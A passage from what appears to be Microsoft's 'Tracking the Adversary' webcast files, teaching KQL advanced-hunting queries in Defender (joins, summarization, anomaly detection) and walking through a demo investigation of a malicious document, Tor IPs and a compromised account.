Timestamp desc\n\n// ---------------\n\nDeviceRegistryEvents\n| top 100 by Timestamp desc\n\n// DeviceRegistryEvents\n// Registry changes which occurred on a Windows device monitored by Defender ATP\n// Contains\n// - Registry information (Key, Value, Data)\n// - Device information\n// - The process which performed the operation\n// - Timestamp\n\n// top\n// Returns an ordered list of rows based on the column specified\n\n// SQL Equivalent: SELECT TOP 100 * FROM DeviceRegistryEvents ORDER BY Timestamp desc\n\n// ---------------\n\nDeviceNetworkEvents\n| take 1000\n| distinct RemoteIP, RemoteUrl\n\n// DeviceNetworkEvents\n// Table containing inbound and outbound network connections and attempts from a device monitored by Defender ATP\n// Contains\n// - Networking information (source and destination IP and port, URL, protocol)\n// - Device information\n// - The process which made or received the connection\n// - Timestamp\n\n// distinct\n// Returns a table of unique results based on the column(s) specified\n\n// SQL Equivalent: SELECT DISTINCT RemoteIP, RemoteUrl FROM DeviceNetworkEvents\n\n// ---------------\n\nDeviceInfo\n| take 100\n| project DeviceId, DeviceName, OSPlatform\n\n// DeviceInfo\n// Operating information about a device monitored by Defender ATP\n// Contains\n// - Device name, ID\n// - Operating system information\n// - Public IP address\n// - Logged on user\n// - Machine group\n\n// project\n// Can be used to\n// - Reduce columns returned from a dataset\n// - Rename columns in a dataset\n// - Create calculated columns\n\n// DataSource\n// | project Column1, Column2, Column3 = Column1 + Column2\n\n// SQL Equivalent: The column list in a query statement\n// SELECT [this is the project statement] FROM DataSource\n\nDeviceInfo\n| project Timestamp, DeviceName, Four = 2 + 2\n| take 100\n\n// --------------\n\nDeviceNetworkInfo\n| take 100\n| project-away Timestamp\n\n// DeviceNetworkInfo\n// Local network configurations for a device monitored by Defender ATP\n\n// Other useful project commands:\n\n// project-away\n// Removes columns from the dataset\n\n// project-rename\n// Renames a column\n\n// project-reorder\n// Changes the order of columns in the results making the specified columns first\n// No real change to the data, just how its represented\n\n// ---------------\n\nDeviceImageLoadEvents\n| take 100\n| extend DomainAndUser = strcat(InitiatingProcessAccountDomain, '\\\\', InitiatingProcessAccountName)\n| project-reorder DomainAndUser, InitiatingProcessAccountDomain, InitiatingProcessAccountName\n\n// DeviceImageLoadEvents\n// Identifies any DLLs loaded by a process.  Useful for tracking DLL sideloading attacks.\n// Contains\n// - The process that loaded the library\n// - The module loaded by the process\n// - The device where the load occurred\n// - Timestamp\n\n// extend\n// Adds a column to the current dataset\n\n// strcat()\n// Concatenates two or more strings\n\n// ---------------\n\nAppFileEvents \n| where Timestamp > ago(3d)\n\n// where\n// Used to filter a tables results based on a Boolean expression\n\n// DataSource\n// | where Column == \"value\"\n\n// SQL Equivalent\n// SELECT * FROM SecurityEvent WHERE EventID = 4624\n\n// ago()\n// Function used to identify a timespan relative to the current date and time\n// Used with one of the following quantifiers:\n// d: days\n// h: hours\n// m: minutes\n// s: seconds\n// ms: milliseconds\n// microsecond: microseconds\n// tick: ticks (100 nanosecond intervals)\n\n// Important note: The most effective way to improve query performance in KQL\n// is filtering based on time.\n\n// ----------------------------------\n\n// Note that Kusto is a case sensitive language and\n// many of the operators are case sensitive.\n\nprint IsItEqual = 'TEST' == 'test'\n\n// For a case insensitive string search, use =~\n\nprint IsItEqual = 'TEST' =~ 'test'\n\n// Common Operators and their case insensitive counterparts\n//  __________________________________________________________________\n// | Case Sensitive | Case Insensitive | Operation                    |\n// --------------------------------------------------------------------\n// |      ==        |         =~       | Equality                     |\n// |      !=        |         !~       | Inequality                   |\n// |    has_cs      |         has      | Term comparison (whole word) |\n// |    !has_cs     |         !has     | Term comparison (whole word) |\n// |   hasprefix_cs |       hasprefix  | Term prefix comparison (any) |\n// |  !hasprefix_cs |       !hasprefix | Term prefix comparison (any) |\n// |  hassuffix_cs  |      hassuffix   | Term suffix comparison (any) |\n// |  !hassuffix_cs |      !hassuffix  | Term suffix comaprison (any) |\n// |   contains_cs  |       contains   | Substring                    |\n// |   !contains_cs |       !contains  | Substring                    |\n// |  startswith_cs |      startswith  | String prefix                |\n// | !startswith_cs |     !startswith  | String prefix                |\n// |   endswith_cs  |      endswith    | String suffix                |\n// |  !endswith_cs  |     !endswith    | String suffix                |\n// |      in        |        in~       | Array element match          |\n// |     !in        |       !in~       | Array element match          |\n// |                |      has_any     | Term array match             |\n// |  matches regex |                  | Regular expression match     |\n// --------------------------------------------------------------------\n \nprint IsItEqual = \"quick\" in (\"The\", \"Quick\", \"Brown\", \"Fox\")\n\nprint IsItEqual = pack_array(\"lorem\",\"ipsum\",\"dolor\") has \"Dolor\"\n\nprint IsItEqual = \"Microsoft\" contains_cs \"ICR\" \n\n// For a list of all string operators: https://docs.microsoft.com/en-us/azure/kusto/query/datatypes-string-operators\n\n// ---------------\n\n// Special characters \\ escaping\n\n// In KQL, the '\\' character is the escape character.  If you want to use a '\\'\n// in your query you will need to either escape it by using '\\\\', or you can\n// make it a string literal by prepending '@' before the string\n\nprint '\\\\ This \\\\ example \\\\ uses \\\\ the \\\\ escape \\\\ method \\\\'\n\n// Now using the string literal method\nprint @'\\ This \\ example \\ uses \\ the \\ string \\ literal \\ method \\'\n\n// ---------------\n\n// Checking for null or blank values\n\n// isnull(Column) / isnotnull(Column)\n// - Checks for null values\n\n// SQL Equivalent: SELECT TimeGenerated, EventData FROM SecurityEvent WHERE EventData IS NOT NULL\n\nprint isnull(\"\")\n\n// isempty(Column) / isnotempty(Column)\n// - Checks for null values or empty strings\n\n// SQL Equivalent: SELECT TimeGenerated, EventData FROM SecurityEvent WHERE EventData LIKE '%'\n\nIdentityQueryEvents\n| where isnotempty(AccountSid)\n| take 100\n\n// IdentityQueryEvents\n// - contains query activities performed against Active Directory objects, such as users, groups, devices, and domains monitored by Azure ATP\n// - Includes SAMR, DNS and LDAP requests\n\n// ---------------\n\nsearch 'microsoft.com'\n| take 10\n| project-reorder RemoteUrl\n\n// search\n// Searches the entire dataset for a given value\n// Can be used to search the entire database (all tables and columns) all at once.\n// Columns will be an aggregate of every table that brought back 1+ results, with \n// columns having the same name merged together\n\n// No true SQL equivalent (aside from indexing every table and searching the index, or unioning every table and column and searching that... yuck)\n\nIdentityInfo \n| search \"administrator\"\n| take 100\n| project-reorder AccountUpn, AccountName, AccountDisplayName, Surname, EmailAddress, JobTitle \n\n// IdentityInfo\n// - Contains information about users in Azure Active Directory\n\n// Can be used with string equality comparisons.  Comparison is row-based\n\nsearch \"administrator\" and \"cmd\"\n| take 100\n| project-reorder ProcessCommandLine, FileName, AccountName, FolderPath, AccountDisplayName, Surname, EmailAddress, JobTitle, AccountUpn \n"
  },
  {
    "path": "Webcasts/TrackingTheAdversary/Episode 2 - Joins.txt",
    "content": "print Series = 'Tracking the Adversary with MTP Advanced Hunting', EpisodeNumber = 2, Topic = 'Joins', Presenter = 'Michael Melone, Tali Ash', Company = 'Microsoft'\n\n// Language Reference: https://docs.microsoft.com/en-us/azure/kusto/query/\n// Advanced Hunting Reference: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-schema-tables?view=o365-worldwide\n// ---------------\n\n// Joins\n// - Links two datasets together based on a common key\n// - Can heavily impact performance depending on how datasets are joined\n// - If datasets being joined are too large you may get an error\n\n// ---------------\n\n// The Join Statement\n// In the below example, we will find users in the Finance department and determine where they have logged on.  \n// We'll accomplish this using the IdentityInfo table (user information) and the IdentityLogonEvents\n// table.\n\nIdentityLogonEvents\n| take 100\n\n// IdentityLogonEvents\n// - Authentications performed against an on-prem DC or to Microsoft online services.\n// - Contains success \\ fail information, logon type, application, identity information, and client information\n\nIdentityInfo\n| where Department == 'Finance'\n| join IdentityLogonEvents on AccountObjectId \n\n// Note that we now have duplicate columns.\n// the duplicates have a '1' at the end of the column name to \n// avoid errors.\n\n// This example uses two datasets, identified as \"left\" and \"right\"\n// based on their location relative to the join statement.\n\n// Left table:\nIdentityInfo\n| where Department == 'Finance'\n\n// Right table:\nIdentityLogonEvents\n| take 100\n\n// As long as the join column names match this should\n// work nicely.  If the column names do not match, we may\n// need to specify which columns to join...\n// We accomplish this by using $left. and $right.\n\nIdentityInfo\n| where Department == 'Finance'\n| project-rename objid = AccountObjectId \n| join IdentityLogonEvents on $left.objid == $right.AccountObjectId\n\n// --------------------------------------------------------\n\n// JOIN TYPES\n// Now comes the fun part - understanding the default Kusto join.\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Hello\",\n    0, \"Hola\",\n    1, \"Salut\",\n    1, \"Ciao\",\n    2, \"Hallo\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    0, \"World\",\n    0, \"Mundo\",\n    1, \"Monde\",\n    1, \"Mondo\",\n    2, \"Welt\"\n];\nLeftTable\n| join RightTable on key\n\n// As you can see we are missing data.  The default Kusto join\n// deduplicates the left table based on the join column before\n// joining the datasets together.  Because of this, we lose\n// \"Hola\" and \"Ciao\".\n\n// This is important since it can directly result in missed\n// detections!  If you want to join data together using the\n// standard inner join (the default in SQL) you need to specify\n// kind = inner!\n\n// The default join can be handy from a performance perspective.  For\n// example, let's say we wanted to produce a list of users who logged \n// on to Windows 10 devices.  The DeviceInfo table has duplicates (one\n// row for each checkin), but we don't need them represented.\n\nDeviceInfo\n| where OSPlatform == 'Windows10'\n| join DeviceLogonEvents on DeviceId \n| distinct DeviceId, DeviceName, AccountDomain, AccountName, AccountSid\n\n// Specifying kind=inner enables us to return all rows from both tables\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Hello\",\n    0, \"Hola\",\n    1, \"Salut\",\n    1, \"Ciao\",\n    2, \"Hallo\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    0, \"World\",\n    0, \"Mundo\",\n    1, \"Monde\",\n    1, \"Mondo\",\n    2, \"Welt\"\n];\nLeftTable\n| join kind=inner RightTable on key\n\n// This comes in handy when you want to see every network communication within 5 minutes\n// of an alert event on the device\n\nAlertEvidence\n| where isnotempty(DeviceId)\n| project-rename AlertTimestamp = Timestamp \n| join kind=inner DeviceNetworkEvents on DeviceId \n| where Timestamp between (datetime_add('minute', -5, AlertTimestamp) .. datetime_add('minute', 5, AlertTimestamp))\n\n// Other types of joins\n// - left outer: all rows from the left table regardless if they match on the right\n// - right outer: all rows from the right table regardless if they match on the left\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Foo\",\n    1, \"Bar\",\n    2, \"Baz\",\n    3, \"Qux\",\n    4, \"Quux\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    0, \"Wibble\",\n    1, \"Wobble\",\n    2, \"Wubble\",\n];\nLeftTable\n| join kind=leftouter RightTable on key\n\n// For example, let’s say we wanted a list of all emails that the malware\n// filter detected as phishing paired with details about their attachments.\n\n// EmailEvents\n// ref: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-emailevents-table?view=o365-worldwide\n// Contains information about e-mails processed through Office ATP, including\n// - Standard email metadata\n// - Whether phish or malware detection identified the e-mail as malicious upon receipt\n// - Actions taken by Office ATP on the e-mail upon receipt\n\n// EmailAttachmentInfo\n// ref: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-emailattachmentinfo-table?view=o365-worldwide\n// Contains information about e-mail attachments\n\nEmailEvents\n| where ThreatTypes == \"Phish\"\n| join kind=leftouter EmailAttachmentInfo on NetworkMessageId, RecipientObjectId\n| take 100\n\n// EmailEvents can tell us what e-mails were picked up as phishing, but we won’t\n// have an entry in EmailAttachmentInfo for each since many are unlikely to have\n// an attachment.  To accomplish this we used left outer join.\n\n// ------------------------------------------\n// - full outer: all rows of both tables despite whether or not they match each other\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Foo\",\n    1, \"Bar\",\n    2, \"Baz\",\n    3, \"Qux\",\n    4, \"Quux\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    2, \"Wibble\",\n    3, \"Wobble\",\n    16, \"Wubble\",\n];\nLeftTable\n| join kind=fullouter RightTable on key\n\n// I use this in a query I use reporting on antimalware signature, engine, and platform versions.\n\nlet StartDate = ago(30d);\nDeviceFileEvents \n| where Timestamp > StartDate\n// Find signature \\ engine update activity\n| where InitiatingProcessFileName =~ 'MpSigStub.exe' and InitiatingProcessCommandLine contains '/stub' and InitiatingProcessCommandLine contains '/payload'\n| summarize Timestamp = arg_max(Timestamp, InitiatingProcessCommandLine) by DeviceId, DeviceName\n| extend SplitCommand = split(InitiatingProcessCommandLine, ' ')\n// Locate stub and payload versions\n| extend EngineVersionLocation = array_index_of(SplitCommand, \"/stub\") + 1, DefinitionVersionLocation = array_index_of(SplitCommand, \"/payload\") + 1\n| project Timestamp, DeviceName, DeviceId, AMEngineVersion = SplitCommand[EngineVersionLocation], AntivirusSignatureVersion = SplitCommand[DefinitionVersionLocation]\n| join kind=fullouter (\n    DeviceProcessEvents\n    | where Timestamp > StartDate\n    // Find process creations for MsMpEng from the platform folder\n    | where FileName =~ 'MsMpEng.exe' and FolderPath contains @\"\\Microsoft\\Windows Defender\\Platform\\\"\n    | summarize arg_max(Timestamp, FolderPath) by DeviceId, DeviceName\n    // Go up two levels\n    | project DeviceId, DeviceName, AMServiceVersion = split(FolderPath, '\\\\')[-2]\n) on DeviceId\n// Re-projecting to make the UI happy\n| project DeviceId, DeviceName, AMEngineVersion, AntivirusSignatureVersion, AMServiceVersion\n\n// There are also anti joins and semi joins which are designed to quickly reduce datasets\n\n// anti joins will remove any matching rows and return only the left or right table\n// - leftanti: removes any rows that match between the two tables, only returns the left table\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Foo\",\n    1, \"Bar\",\n    2, \"Baz\",\n    3, \"Qux\",\n    4, \"Quux\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    2, \"Wibble\",\n    3, \"Wobble\",\n    16, \"Wubble\",\n];\nLeftTable\n| join kind=leftanti RightTable on key\n\n// rightanti - you guessed it. It removes matches and returns values from the right table\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Foo\",\n    1, \"Bar\",\n    2, \"Baz\",\n    3, \"Qux\",\n    4, \"Quux\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    2, \"Wibble\",\n    3, \"Wobble\",\n    16, \"Wubble\",\n];\nLeftTable\n| join kind=rightanti RightTable on key\n// Let’s say you wanted to see e-mails which were identified as either phishing\n// or malware which were likely still in user’s mailboxes. To achieve this, we\n// will use EmailEvents to identify the suspicious e-mails and filter the results\n// using the EmailPostDeliveryEvents table.\n\n// EmailPostDeliveryEvents\n// ref: https://docs.microsoft.com/en-us/microsoft-365/security/mtp/advanced-hunting-emailpostdeliveryevents-table?view=o365-worldwide\n// contains information about post-delivery remediation actions such as manual administrator \n// remediation, phish zap, or malware zap\n\nEmailEvents\n| where ThreatTypes in ('Phish', 'Malware') and EmailAction !in ('Replace attachment', 'Send to quarantine')\n| join kind=leftanti EmailPostDeliveryEvents on NetworkMessageId , RecipientEmailAddress  \n\n// For all of the joins, check out: https://docs.microsoft.com/en-us/azure/kusto/query/joinoperator\n\n// ---------------------------\n\n// union\n// Sometimes you want to \"link\" two queries together into one result instead of joining them based on a key.\n// To accomplish this you would use the union operator.  A union merges all rows from each query where the column\n// name and data type match.\n\nlet LeftTable = datatable (key:int, value:string)\n[\n    0, \"Foo\",\n    1, \"Bar\",\n    2, \"Baz\",\n    3, \"Qux\",\n    4, \"Quux\"\n];\nlet RightTable = datatable (key:int, value:string)\n[\n    2, \"Wibble\",\n    3, \"Wobble\",\n    16, \"Wubble\",\n];\nLeftTable\n| union RightTable \n\n// Notice we no longer have the extra columns from a join. This might be useful if you want to track\n// logon activity with devices (the DeviceLogonEvents table) and Active Directory \\ Azure Active Directory\n// (the IdentityLogonEvents table) in one query.\n\nDeviceLogonEvents\n| extend Table = 'DeviceLogonEvents'\n| take 100\n| union (\n    IdentityLogonEvents \n    | extend Table = 'IdentityLogonEvents'\n    | take 100\n)\n| project-reorder Timestamp, Table, AccountDomain, AccountName, AccountUpn, AccountSid \n| order by Timestamp asc\n\n\n// --------------------------------------\n\n// Functions are a special sort of join which let you pull more static data about a file (more are\n// planned in the future, stay tuned!). This is really helpful when you want to get information about\n// file prevalence or antimalware detections.\n\n// Let's say we wanted information about rare files involved in a process creation event\n\nDeviceProcessEvents\n| invoke FileProfile() // Call the FileProfile function\n| where isnotempty(GlobalPrevalence) and GlobalPrevalence < 1000 // Note that in the real world you might want to include empty GlobalPrevalence\n| project-reorder DeviceName, FileName, ProcessCommandLine, FileSize, GlobalPrevalence, GlobalFirstSeen, GlobalLastSeen, ThreatName, Publisher, SoftwareName\n| top 100 by GlobalPrevalence asc \n"
  },
  {
    "path": "Webcasts/TrackingTheAdversary/Episode 3 - Summarizing, Pivoting, and Joining.txt",
    "content": "print Series = 'Tracking the Adversary with MTP Advanced Hunting', EpisodeNumber = 3, Topic = 'Summarizing, Pivoting, and Visualizing Data', Presenters = 'Michael Melone, Tali Ash', Company = 'Microsoft'\n\n// summarize\n// The summarize operator enables you to perform \n// a variety of calculations on data.\n\n// The output of summarize will be a table with one\n// column for each row value you pivoted on as well\n// as one column for each pivot you performed.\n\n// In the following example, we will calculate the number of e-mails based on whether\n// Office ATP identified them as being malware.\n\n// SQL Equivalent: SELECT MalwareFilterVerdict, Count(*) FROM EmailAttachmentInfo GROUP BY MalwareFilterVerdict\n\nEmailAttachmentInfo \n| summarize count() by ThreatTypes  \n\n// --------------------------------------------\n\n// Summarize can also be used to create 2 column pivots by simply adding another\n// column name after the \"by\" clause.  For example, we will now count the number\n// of e-mails received by sender and recipient combo\n\n// You will also notice in this example that the count_ has been renamed to Emails\n// to make the query easier to understand.\n\n// SQL Equivalent: SELECT TOP 100 SenderFromAddress, RecipientEmailAddress, Emails = Count(*) FROM EmailEvents GROUP BY SenderFromAddress, RecipientEmailAddress ORDER BY Emails DESC\n\nEmailEvents \n| summarize Emails = count() by SenderFromAddress, RecipientEmailAddress \n| top 100 by Emails desc\n\n// --------------------------------------------\n\n// min() - obtains the minimim value from the set\n// max() - obtains the maximum value from the set\n\n// SQL Equivalent: \n// SELECT \n//  Earliest = min(Timestamp)\n//  , Latest = max(Timestamp)\n//  , Count = count()\n//  , AccountName\n// FROM AlertEvidence\n// WHERE AccountName LIKE '%'\n// GROUP BY AccountName \n// ORDER BY Count desc\n\nAlertEvidence \n| where isnotempty(AccountName)\n| summarize Earliest = min(Timestamp), Latest = max(Timestamp), Count = count() by AccountName \n| order by Count desc \n\n// AlertEvidence\n// Contains information on entities and evidence involved in an alert, such as devices, accounts, and emails\n//--------------------------\n\n// Now let's get a bit more advanced.  Using the bin() function you can group events by a period of time.\n// Let's take a look at some logon statistics on a daily basis\n\n// Using render we can automatically create a chart.  Let's look at account logon activity over time on a\n// daily basis by UPN.\n\nIdentityLogonEvents \n| where isnotempty(AccountUpn)\n| summarize NumberOfLogons = count() by AccountUpn, bin(Timestamp, 1d)\n| render timechart \n\n// render - creates a chart\n\n// We can also use this bin'ed data to determine min, max, and average daily logons\n\nIdentityLogonEvents \n| where isnotempty(AccountUpn)\n| summarize NumberOfLogons = count() \n    by AccountUpn\n    , bin(Timestamp, 1d)\n| summarize TotalLogons = sum(NumberOfLogons)\n    , AverageDailyLogons = avg(NumberOfLogons)\n    , FewestLogonsInADay = min(NumberOfLogons)\n    , MostLogonsInADay = max(NumberOfLogons) \n    by AccountUpn \n| top 10 by TotalLogons desc \n| render columnchart \n\n--------------------------\n\n// You can also use summarize to get the latest event from each category.\n// For example, let's say you want to get the latest check-in information \n// for each device in your instance\n\n// the arg_max() function will maximize the specified argument in the column\n// set based on the \"by\" parameter.  You can either specify the columns you \n// want back as parameters, or just use * to get the entire row.\n\nDeviceInfo\n| where isnotempty(OSPlatform) // checkins can be partial or full - this filters out partials\n| summarize arg_max(Timestamp, *) by DeviceId \n\n// Let's say you now wanted to use this summarized list to create a report of devices\n// by operating system - but you didn't want to lose the individual device names.\n// Good news - we can also use summarize to build arrays!\n\nDeviceInfo\n| where isnotempty(OSPlatform) // checkins can be partial or full - this filters out partials\n| summarize arg_max(Timestamp, *) by DeviceId \n| summarize Devices = count(), DeviceList = make_set(DeviceName) by OSPlatform\n\n// -----------------------------\n\n// Another way to perform aggregations is using make-series.  The make-series\n// command is similar to summarize except it is designed to calculate on\n// a periodic basis, providing zeros for empty datasets for consistency.  \n\nEmailEvents\n| make-series count() on Timestamp from ago(30d) to now() step 1d by SenderFromDomain\n\n// With this we can identify outlier programmatically.  Let's see if we can find\n// any sudden increases or decreases in activity relating to mail from a specific\n// domain using one of our time series analysis capabilities.\n\n// geek stuff warning\n\nEmailEvents\n| make-series MailCount = count() on Timestamp from ago(30d) to now() step 1d by SenderFromDomain\n| extend (flag, score, baseline) = series_decompose_anomalies(MailCount)\n| project-reorder flag, score, baseline\n\n// series_decompose_anomalies adds three new columns\n// - flag: is the datapoint normal, an abnormal increase (1), or an abnormal decrease (-1)\n// - score: how anomalous is this data point?\n// - baseline: the forecaseted value the algorithm expected\n\n// Let's look for spikes in e-mail traffic from a domain.  To do this, we need to expand\n// the flag column.  Expanding takes an array and creates one row for each value in it.\n// For SQL people, this is like using CROSS APPLY\n\nEmailEvents\n| make-series MailCount = count() on Timestamp from ago(30d) to now() step 1d by SenderFromDomain\n| extend (flag, score, baseline) = series_decompose_anomalies(MailCount)\n| project-reorder flag, score, baseline\n| mv-expand flag\n\n// now we can filter to only 1's.  Note that our lists of values all look like strings.  We need\n// to tell KQL that we want these to be int's for accurate comparison.\n\nEmailEvents\n| make-series MailCount = count() on Timestamp from ago(30d) to now() step 1d by SenderFromDomain\n| extend (flag, score, baseline) = series_decompose_anomalies(MailCount)\n| mv-expand flag to typeof(int) // expand flag and tell KQL it needs to be an int\n| where flag == 1 // filter to only rows that have a 1\n| project-reorder flag, score, baseline\n\n// Next, we'll look for the top 5 most anomalous domain spikes and graph the result\n\nlet interval = 12h;\nEmailEvents\n| make-series MailCount = count() on Timestamp from ago(30d) to now() step interval by SenderFromDomain\n| extend (flag, score, baseline) = series_decompose_anomalies(MailCount)\n| mv-expand flag to typeof(int)\n| where flag == 1 // filter to only incremental anomalies\n| mv-expand score to typeof(double) // expand the score array to a double\n| summarize MaxScore = max(score) by SenderFromDomain  // get the max score value from each domain\n| top 5 by MaxScore desc // Get the top 5 highest scoring domains\n| join kind=rightsemi EmailEvents on SenderFromDomain // Filter EmailEvents to only these domains\n| summarize count() by SenderFromDomain, bin(Timestamp, interval) // build a new summarization for the graph\n| render timechart // graph it!\n\n// Aha!  I know someone out there sees my bug.  Technically, one of these datasets can have both a spike and \n// a valley and the valley score could be what we're keying off of. Let's try again using logons, but this time\n// we'll get the specific score associated with the spike instead of just assuming that they're the same.\n\nlet interval = 12h;\nIdentityLogonEvents\n| where isnotempty(AccountUpn)\n| make-series LogonCount = count() on Timestamp from ago(30d) to now() step interval by AccountUpn\n| extend (flag, score, baseline) = series_decompose_anomalies(LogonCount)\n| mv-expand with_itemindex = FlagIndex flag to typeof(int) // Expand, but this time include the index in the array as FlagIndex\n| where flag == 1  // Once again, filter only to spikes\n| extend SpikeScore = todouble(score[FlagIndex]) // This will get the specific score associated with the detected spike\n| summarize MaxScore = max(SpikeScore) by AccountUpn\n| top 5 by MaxScore desc\n| join kind=rightsemi IdentityLogonEvents on AccountUpn\n| summarize count() by AccountUpn, bin(Timestamp, interval)\n| render timechart\n"
  },
  {
    "path": "Webcasts/TrackingTheAdversary/Episode 4 - Lets Hunt.txt",
    "content": "print Series = 'Tracking the Adversary with MTP Advanced Hunting', EpisodeNumber = 4, Topic = 'Lets Hunt! Applying KQL to Incident Tracking', Presenter = 'Michael Melone, Tali Ash', Company = 'Microsoft' \n\n\n// Schema Reference (upper right corner) \n\n\n// The ABC's of Security \n// - Authentication \n// - Backdoors \n// - Communication \n// - Data \n// Authentication \n// - How is the attacker establishing identity to the system? \n// - What identities do we consider compromised? \n// - What are our administrative identities? \n// Backdoors \n// - How is the attacker controlling the system? \n// - Is the service used by the attacker legitimate or illegitimate? \n// - Where is this capability or condition present? \n// Communication \n// - How is the attacker communicating with the system? \n// Let's see what the malware fairy has brought us today... \n\nAlertInfo \n| take 10 \n\n// AlertInfo \n// Table containing alerts identified by MTP. By itself does not have the entities and evidence \n// associated with the alert. To get that we will need the AlertEvidence table. \n\nAlertEvidence \n| take 10 \n\n// AlertEvidence \n// Details about alerts including associated entities \n// Let's find out which of our accounts has the most alerts associated with them \n\nAlertEvidence \n| where Timestamp > ago(19d) and EntityType == \"User\" and isnotempty(AccountObjectId) // Look for user entities \n| summarize Alerts = dcount(AlertId) by AccountObjectId, AccountName , AccountDomain \n| project Alerts, AccountDomain, AccountName, AccountObjectId \n| order by Alerts desc \n\n// That's suspicious... Let's see what kinds of alerts these are... \n\nAlertEvidence \n| where Timestamp > ago(19d) and EntityType == \"User\" and AccountObjectId == 'ab653b2a-d23e-49df-9493-c26590f8f319' \n| join kind=inner AlertInfo on AlertId \n| summarize Alerts = count(), First = min(Timestamp), Last = max(Timestamp) by Title \n| order by Alerts desc \n\n// That doesn't look good. Let's find out when and where this happened... \n\nAlertEvidence \n| where Timestamp > ago(19d) and AccountObjectId == 'ab653b2a-d23e-49df-9493-c26590f8f319' // associated with the suspicious account \n| join kind=rightsemi AlertEvidence on AlertId // rejoin with evidence... \n| where EntityType == 'Machine' // and get the machines. \n| join kind=leftouter ( \n    DeviceInfo \n    | summarize DeviceName = any(DeviceName) by DeviceId // Get the device name \n) on DeviceId \n| summarize dcount(AlertId) by DeviceName , bin(Timestamp, 1d) // Plot it in 30 minute intervals \n| render timechart // Make a timechart \n\n// OK! We have some boxes of interest and it looks like it started on barbaram-pc. \n// We can also see an uptick in activity on July 19th\n// Let's timeline alerts on barbaram-pc. \n\nAlertEvidence \n| where Timestamp > ago(19d) and DeviceId == '87da11a9257988b2fc090c9f05c72f6453bc53de' \n| join kind=inner AlertInfo on AlertId \n| summarize min(Timestamp) by Title \n| order by min_Timestamp asc \n\n// Looks like we detected something malicious from Office 365... Let's see what it was \n\nAlertInfo \n| where Timestamp > ago(19d) and Title == 'Post-delivery detection of suspicious attachment' \n| join kind=rightsemi AlertEvidence on AlertId \n| where EntityType == 'File' \n\n// OK, all of this JSON is great, but how about a table instead \n\nAlertInfo \n| where Timestamp > ago(19d) and Title == 'Post-delivery detection of suspicious attachment' \n| join kind=rightsemi AlertEvidence on AlertId \n| where EntityType == 'File' \n| extend AFDynamic = parse_json(AdditionalFields) // Turn JSON into a dynamic column \n| evaluate bag_unpack(AFDynamic) // ...and turn the JSON into columns \n| project-reorder Name, Directory, Host, SHA256 \n\n// parse_json() - parses a JSON string and turns it into a dynamic \n// bag_unpack() - takes the first-level properties from a dynamic and promotes them to columns \n\n// Looks like the file was called Doodles_SOW_07102020.doc... \n\nDeviceProcessEvents\n| where Timestamp > ago(19d) \nand ProcessCommandLine contains 'UpdatedPolicy_SOW_07182020.doc'\nand AccountObjectId == 'ab653b2a-d23e-49df-9493-c26590f8f319'\n\n\n// ...and we can see that Barbara launched it. Process ID 13988\n\n\n// Looks like Barbara used Word to open it a couple times... \n// Let's see what happened when she opened it... \n\nsearch in (DeviceProcessEvents, DeviceNetworkEvents, DeviceFileEvents, DeviceRegistryEvents, DeviceEvents ) \nTimestamp > ago(19d) \nand DeviceId == '87da11a9257988b2fc090c9f05c72f6453bc53de' \nand InitiatingProcessId == 13988 \n| where RegistryKey !contains @'\\Software\\Microsoft\\Office\\16.0\\Common\\Internet\\Server Cache' // Filtering out cache registry key changes \n| order by Timestamp asc \n| project-reorder Timestamp, $table, ActionType, RemoteIP, RemoteUrl, FileName, SHA256, RegistryKey, RegistryValueData, ActionType, AdditionalFields\n\n// Interesting. Word is allocating writable and executable memory right after launch, but\n// nothing too interesting otherwise.\n// ref: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory\n\n// So that doc is on SharePoint. How did it get there? \nAppFileEvents \n| where Timestamp > ago(19d) and FileName =~ 'UpdatedPolicy_SOW_07182020.doc' \n| project-reorder Timestamp, ActionType, Application, FolderPath, IPAddress, Location, ISP \n| order by Timestamp asc \n\n// Looks like we have a couple strange IPs interacting with the file: 178.32.124.142 and 51.83.139.56. \n// It was uploaded using Barbara's account - that's the Authentication \n// The \"backdoor\" is just a publicly available service (SharePoint) \n// The Communication channel are those IPs. Let's see what else was involved with them... \n\nsearch Timestamp > ago(19d) and ('178.32.124.142' or '51.83.139.56')\n| project-reorder $table, Timestamp, AccountName, AccountDomain, ActionType, FileName, FolderPath \n\n// ...looks like there was another doc uploaded from that same user and IP (BYODRegistration (1).docm). \n// Maybe we'll investigate that later. \n\n// We also had a couple alerts.  Let's dig deeper.\n\nAlertEvidence\n| where RemoteIP in ('178.32.124.142', '51.83.139.56')\n| join kind=rightsemi AlertInfo on AlertId \n\n// Aha!  Those are our Tor addresses.\n\n// So we know there was credential theft going on. Let's see what other accounts logged on \n// to that compromised system... \n\nDeviceLogonEvents \n| where DeviceName == 'barbaram-pc.mtpdemos.net' and Timestamp > ago(19d) and ActionType == 'LogonSuccess' \n| where AccountDomain !in ('font driver host', 'window manager') // Ignoring internal system identities at the moment \n| extend Account = strcat(AccountDomain, '\\\\', AccountName ) \n| summarize count() by Account, bin(Timestamp, 1h) \n| render timechart \n\n// Interesting. What does Eric Gubbels do? \n\nIdentityInfo \n| where GivenName =~ 'Eric' and Surname =~ \"Gubbels\" \n| take 1 \n\n// OK, so he's the help desk supervisor. He probably has elevated permissions. \n// Another account. Where else did he log on? \n\nIdentityLogonEvents \n| where Timestamp > todatetime('2020-07-17') and AccountObjectId == '993788dd-7c13-4db8-9b0a-6297fcb8d5b3' and isnotempty(DeviceName) \n| summarize count() by DeviceName, bin(Timestamp, 1d) \n| render timechart \n\n// Ok, what alerts do we have with his 